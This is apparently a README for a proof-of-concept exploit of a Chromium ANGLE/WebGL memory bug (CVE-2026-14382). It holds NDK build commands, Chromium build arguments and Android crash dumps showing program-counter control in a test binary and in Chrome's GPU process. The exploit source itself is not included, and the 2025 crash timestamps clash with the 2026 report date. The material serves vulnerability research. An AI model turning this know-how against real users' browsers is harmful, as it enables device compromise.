jaf0rk/cve-2026-14382Exploit de prueba de concepto para CVE-2026-14382, una vulnerabilidad ANGLE de alta gravedad en Chromium, con PoCs de 32 bits y AArch64 que logran control del contador de programa a través de WebGL.
[$250000][492218546] High CVE-2026-14382: Insufficient validation of untrusted input in ANGLE. Reported by anonymous on 2026-03-13
La causa raíz de esta vulnerabilidad parece ser similar a la de CVE-2025-6558. Según mi análisis actual, sospecho que puede ser una variante de CVE-2025-6558. Por lo tanto, adapté el PoC de CVE-2025-6558 y creé los siguientes archivos:
poc.c es el PoC principal, pero solo funciona en un entorno de 32 bits. Al igual que el PoC original de CVE-2025-6558, permite el control del contador de programa (PC).poc64.c demuestra que el mismo problema también se puede reproducir en un entorno AArch64. Sin embargo, el valor resultante del PC es impredecible y no se puede controlar de manera confiable, lo que dificulta la explotación. Todavía estoy investigando si se puede lograr un control confiable del PC.poc64.html es funcionalmente equivalente a poc64.c, pero el fallo no se desencadena de manera confiable en cada intento. Si no falla, intente ejecutarlo varias veces.Pixel 7 Android16
--------- beginning of crash
06-29 11:17:38.359 26942 26942 F libc : Fatal signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x8d42a150 in tid 26942 (poc), pid 26942 (poc)
06-29 11:17:38.374 26950 26950 I crash_dump32: obtaining output fd from tombstoned, type: kDebuggerdTombstoneProto
06-29 11:17:38.375 747 747 I tombstoned: received crash request for pid 26942
06-29 11:17:38.375 26950 26950 I crash_dump32: performing dump of process 26942 (target tid = 26942)
06-29 11:17:38.393 1624 1624 W TracingMuxer: type=1400 audit(0.0:31735): avc: denied { write } for name="traced_producer" dev="tmpfs" ino=1316 scontext=u:r:gxp_logging:s0 tcontext=u:object_r:traced_producer_socket:s0 tclass=sock_file permissive=0
06-29 11:17:38.427 26950 26950 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
06-29 11:17:38.427 26950 26950 F DEBUG : Build fingerprint: 'google/panther/panther:16/BP2A.250605.031.A2/13578606:user/release-keys'
06-29 11:17:38.427 26950 26950 F DEBUG : Revision: 'MP1.0'
06-29 11:17:38.427 26950 26950 F DEBUG : ABI: 'arm'
06-29 11:17:38.427 26950 26950 F DEBUG : Timestamp: 2025-06-29 11:17:38.376836685+0800
06-29 11:17:38.427 26950 26950 F DEBUG : Process uptime: 1s
06-29 11:17:38.427 26950 26950 F DEBUG : Cmdline: ./poc
06-29 11:17:38.427 26950 26950 F DEBUG : pid: 26942, tid: 26942, name: poc >>> ./poc <<<
06-29 11:17:38.427 26950 26950 F DEBUG : uid: 2000
06-29 11:17:38.427 26950 26950 F DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x8d42a150
06-29 11:17:38.427 26950 26950 F DEBUG : r0 f3dc1630 r1 00000000 r2 00000000 r3 8d42a150
06-29 11:17:38.427 26950 26950 F DEBUG : r4 f319fc7c r5 f76bb2d0 r6 00000000 r7 f76bb2dc
06-29 11:17:38.427 26950 26950 F DEBUG : r8 f319fbd8 r9 00000000 r10 f3194290 r11 00000001
06-29 11:17:38.427 26950 26950 F DEBUG : ip 00000000 sp fff04368 lr f47b35af pc 8d42a150
06-29 11:17:38.427 26950 26950 F DEBUG : 5 total frames
06-29 11:17:38.427 26950 26950 F DEBUG : backtrace:
06-29 11:17:38.427 26950 26950 F DEBUG : NOTE: Function names and BuildId information is missing for some frames due
06-29 11:17:38.427 26950 26950 F DEBUG : NOTE: to unreadable libraries. For unwinds of apps, only shared libraries
06-29 11:17:38.427 26950 26950 F DEBUG : NOTE: found under the lib/ directory are readable.
06-29 11:17:38.427 26950 26950 F DEBUG : NOTE: On this device, run setenforce 0 to make the libraries readable.
06-29 11:17:38.427 26950 26950 F DEBUG : NOTE: Unreadable libraries:
06-29 11:17:38.427 26950 26950 F DEBUG : NOTE: /data/local/tmp/poc
06-29 11:17:38.427 26950 26950 F DEBUG : #00 pc 8d42a150 <unknown>
06-29 11:17:38.427 26950 26950 F DEBUG : #01 pc 006185ad /vendor/lib/egl/libGLES_mali.so (gles_drawp_handle_dependencies(gles_context*, gles_draw_call*, glescore_submission*)+196) (BuildId: da7af0632b11c153bc5a10aa30fdc8a1314007c5)
06-29 11:17:38.427 26950 26950 F DEBUG : #02 pc 00619a6b /vendor/lib/egl/libGLES_mali.so (gles_drawp_draw_common+794) (BuildId: da7af0632b11c153bc5a10aa30fdc8a1314007c5)
06-29 11:17:38.427 26950 26950 F DEBUG : #03 pc 005d1373 /vendor/lib/egl/libGLES_mali.so (gles_draw_draw_arrays+32) (BuildId: da7af0632b11c153bc5a10aa30fdc8a1314007c5)
06-29 11:17:38.427 26950 26950 F DEBUG : #04 pc 000022fc /data/local/tmp/poc
--------- beginning of system
arm32:
$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/clang poc.c -lGLESv3 -lGLESv2 -lEGL -lm --target=armv7a-linux-android34 -g -O0 -o poc
aarch64:
$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/clang poc.c -lGLESv3 -lGLESv2 -lEGL -lm --target=aarch64-linux-android34 -g -O0 -o poc
commit 65db666ac2cf205fcc36db8bb5b9cd87f94808ac (HEAD -> 148.0.7778.167, tag: 148.0.7778.167)
Author: Juan Mojica <[email protected]>
Date: Mon May 11 16:14:03 2026 -0700
[148] [lens] Delay searchbox initialization to fix flaky thumbnail
Original change's description:
> [lens] Delay searchbox initialization to fix flaky thumbnail
>
> Move the OnPageBound() invocation from the LensSearchboxHandler
> constructor to the LensSearchboxController registration methods.
>
> Previously, OnPageBound() fired during the handler object's
> construction. At this stage, the controller's pointer to the handler was
> still null, causing initial state flushes, such as cached thumbnails and
> pending text queries, to be skipped.
>
> Delaying this notification until the handler is fully stored in the
> controller ensures that the initial state push always succeeds. This
> resolves the flaky viewport thumbnail issue by securing the existing
> state propagation order without introducing side effects.
>
> Demo: http://shortn/_DGK0HD8ARP
> Bug: b:510419641
> Change-Id: If0abf11b601f78f5555969295e224cec30a82162
> Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7830897
> Auto-Submit: Juan Mojica <[email protected]>
> Commit-Queue: Juan Mojica <[email protected]>
> Reviewed-by: Riley Tatum <[email protected]>
> Commit-Queue: Riley Tatum <[email protected]>
> Reviewed-by: Duncan Mercer <[email protected]>
> Cr-Commit-Position: refs/heads/main@{#1627226}
# Set build arguments here. See `gn help buildargs`.
is_official_build = true
is_debug = false
symbol_level = 2
v8_symbol_level = 2
blink_symbol_level = 2
is_component_build = false
proprietary_codecs = true
ffmpeg_branding = "Chrome"
dcheck_always_on =false
optimize_webui = true
android_static_analysis = "off"
target_os = "android"
target_cpu = "arm64"
treat_warnings_as_errors = false
po64.htmlxxxx@xxxx-pc:~/xxxx/xxx$ adb logcat | grep DEBUG
07-02 06:01:35.467 14975 14975 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
07-02 06:01:35.467 14975 14975 F DEBUG : Build fingerprint: 'google/panther/panther:16/BP2A.250605.031.A2/13578606:user/release-keys'
07-02 06:01:35.467 14975 14975 F DEBUG : Revision: 'MP1.0'
07-02 06:01:35.467 14975 14975 F DEBUG : ABI: 'arm64'
07-02 06:01:35.467 14975 14975 F DEBUG : Timestamp: 2025-07-02 06:01:35.267116437+0800
07-02 06:01:35.467 14975 14975 F DEBUG : Process uptime: 15s
07-02 06:01:35.467 14975 14975 F DEBUG : Cmdline: org.chromium.chrome:privileged_process0
07-02 06:01:35.467 14975 14975 F DEBUG : pid: 14856, tid: 14876, name: CrGpuMain >>> org.chromium.chrome:privileged_process0 <<<
07-02 06:01:35.467 14975 14975 F DEBUG : uid: 10293
07-02 06:01:35.467 14975 14975 F DEBUG : tagged_addr_ctrl: 0000000000000001 (PR_TAGGED_ADDR_ENABLE)
07-02 06:01:35.467 14975 14975 F DEBUG : signal 7 (SIGBUS), code 1 (BUS_ADRALN), fault addr 0x002e00640069006f
07-02 06:01:35.467 14975 14975 F DEBUG : x0 b400006f5c65b620 x1 0000000000000000 x2 0000000000000000 x3 002e00640069006f
07-02 06:01:35.467 14975 14975 F DEBUG : x4 b4000070d83c50f0 x5 0000000000000000 x6 0000000000000000 x7 0000006d95475904
07-02 06:01:35.467 14975 14975 F DEBUG : x8 0c47bf888b6997ff x9 0c47bf888b6997ff x10 0000000000000000 x11 0000000000000002
07-02 06:01:35.467 14975 14975 F DEBUG : x12 0000006d95475590 x13 0000005ffae1e000 x14 0000000000000200 x15 00000508f18de566
07-02 06:01:35.467 14975 14975 F DEBUG : x16 0000006de78fa2e8 x17 00000070c3c6ec40 x18 0000006d94534000 x19 b400006df696ca00
07-02 06:01:35.467 14975 14975 F DEBUG : x20 b4000070d83c50f0 x21 b400006df697d7c8 x22 b400006df697d8f0 x23 0000000000000000
07-02 06:01:35.467 14975 14975 F DEBUG : x24 b4000070d83c5108 x25 0000000000000000 x26 b4000070d83c5110 x27 0000000000000010
07-02 06:01:35.467 14975 14975 F DEBUG : x28 0000000000000008 x29 0000000000000001
07-02 06:01:35.467 14975 14975 F DEBUG : lr 0000006de5240c88 sp 0000006d95475820 pc 002e00640069006f pst 0000000060001000
07-02 06:01:35.467 14975 14975 F DEBUG : 32 total frames
07-02 06:01:35.467 14975 14975 F DEBUG : backtrace:
07-02 06:01:35.467 14975 14975 F DEBUG : #00 pc 002e00640069006f <unknown>
07-02 06:01:35.467 14975 14975 F DEBUG : #01 pc 00000000009fbc84 /vendor/lib64/egl/libGLES_mali.so (gles_drawp_handle_dependencies(gles_context*, gles_draw_call*, glescore_submission*)+292) (BuildId: 035427b48537aa8c1499aa365b4c26e44ae21572)
07-02 06:01:35.467 14975 14975 F DEBUG : #02 pc 00000000009fd614 /vendor/lib64/egl/libGLES_mali.so (gles_drawp_draw_common+1060) (BuildId: 035427b48537aa8c1499aa365b4c26e44ae21572)
07-02 06:01:35.467 14975 14975 F DEBUG : #03 pc 00000000009949fc /vendor/lib64/egl/libGLES_mali.so (glDrawArrays+92) (BuildId: 035427b48537aa8c1499aa365b4c26e44ae21572)
07-02 06:01:35.467 14975 14975 F DEBUG : #04 pc 0000000005b6d69c /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #05 pc 000000000904f390 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #06 pc 0000000009048a30 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #07 pc 00000000065c4548 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #08 pc 00000000068f9e20 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #09 pc 00000000068fb024 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #10 pc 00000000068faecc /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #11 pc 0000000005abd928 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #12 pc 00000000065c5b00 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #13 pc 0000000005765884 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #14 pc 0000000005aac700 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #15 pc 0000000005fd6ff0 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #16 pc 0000000007087ba8 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #17 pc 0000000007b0a540 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #18 pc 00000000070bf1ac /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #19 pc 00000000070bf5b0 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #20 pc 0000000007984ac4 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #21 pc 0000000007984788 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #22 pc 000000000033f500 /apex/com.android.art/lib64/libart.so (art_quick_generic_jni_trampoline+144) (BuildId: b229f9d1b6196afaae086f29f029f907)
07-02 06:01:35.467 14975 14975 F DEBUG : #23 pc 0000000000689588 /apex/com.android.art/lib64/libart.so (nterp_helper+152) (BuildId: b229f9d1b6196afaae086f29f029f907)
07-02 06:01:35.467 14975 14975 F DEBUG : #24 pc 000000000028e37e /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/base.apk (offset 0x1f6f000) (gj1.run+570)
07-02 06:01:35.467 14975 14975 F DEBUG : #25 pc 00000000000a94f0 /system/framework/arm64/boot.oat (java.lang.Thread.run+64) (BuildId: f7dcc0c41d7298598dd50b6df5fbdd67cef62829)
07-02 06:01:35.467 14975 14975 F DEBUG : #26 pc 0000000000328194 /apex/com.android.art/lib64/libart.so (art_quick_invoke_stub+612) (BuildId: b229f9d1b6196afaae086f29f029f907)
07-02 06:01:35.467 14975 14975 F DEBUG : #27 pc 00000000002d9348 /apex/com.android.art/lib64/libart.so (art::ArtMethod::Invoke(art::Thread*, unsigned int*, unsigned int, art::JValue*, char const*)+216) (BuildId: b229f9d1b6196afaae086f29f029f907)
07-02 06:01:35.467 14975 14975 F DEBUG : #28 pc 0000000000421028 /apex/com.android.art/lib64/libart.so (art::Thread::CreateCallback(void*)+932) (BuildId: b229f9d1b6196afaae086f29f029f907)
07-02 06:01:35.467 14975 14975 F DEBUG : #29 pc 0000000000420c74 /apex/com.android.art/lib64/libart.so (art::Thread::CreateCallbackWithUffdGc(void*)+8) (BuildId: b229f9d1b6196afaae086f29f029f907)
07-02 06:01:35.467 14975 14975 F DEBUG : #30 pc 0000000000080e6c /apex/com.android.runtime/lib64/bionic/libc.so (__pthread_start(void*)+236) (BuildId: 56d1c072e220860e239a4a1824a78f97)
07-02 06:01:35.467 14975 14975 F DEBUG : #31 pc 00000000000736d0 /apex/com.android.runtime/lib64/bionic/libc.so (__start_thread+64) (BuildId: 56d1c072e220860e239a4a1824a78f97)